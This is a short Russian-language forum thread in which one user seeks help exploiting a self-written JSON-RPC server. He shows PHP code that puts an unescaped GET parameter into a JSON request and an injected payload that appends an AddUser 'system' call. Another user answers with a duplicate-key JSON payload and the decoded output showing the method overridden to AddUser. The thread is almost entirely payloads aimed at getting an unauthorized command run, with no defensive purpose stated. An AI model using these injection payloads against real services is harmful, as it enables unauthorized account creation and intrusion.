Инъекция в JSON-RPC

[big_Brat]

Добрый день, нужна помощь, существует самописный сервер который принимает команды через json-rpc v2.
Пример уязвимого кода:

PHP код:

$userid = $_GET['userid'];
$code = '{"method":"GetUser", "id":"1", "params":["$userid"]}'; 


Пример запроса:

{"method":"GetUser", "id":"1", "params":["777"]}

Уязвимый параметр userid, через него формирую второй запрос на добавление пользователя, на выходе получаю такой запрос:
Пример запроса:

{"method":"GetUser", "id":"1", "params":["777"]},{"method":"AddUser", "id":"1", "params":["system"]}

Но есть проблема так как у нас сразу определено что это объект (начинается с { сервер обрабатывает только первый запрос, второй игнорирует), если бы сразу было определено что это массив объектов (начинался бы с [{), то запрос выполнился на все 100%.

Вопрос: как то можно заставить сервер выполнить второй запрос?

[oRb]

PHP код:

var_dump(json_decode('{"method":"GetUser", "id":"1", "params":["777"], "method":"AddUser", "id":"1", "params":["system"]}',1)); 


array(3) {
  ["method"]=>
  string(7) "AddUser"
  ["id"]=>
  string(1) "1"
  ["params"]=>
  array(1) {
    [0]=>
    string(6) "system"
  }
}

[big_Brat]

Спасибо все так но, я уже пробовал, и есть проблема что проверяется количество аргументов, и он выбрасывает ошибку о том что слишком много параметров передано.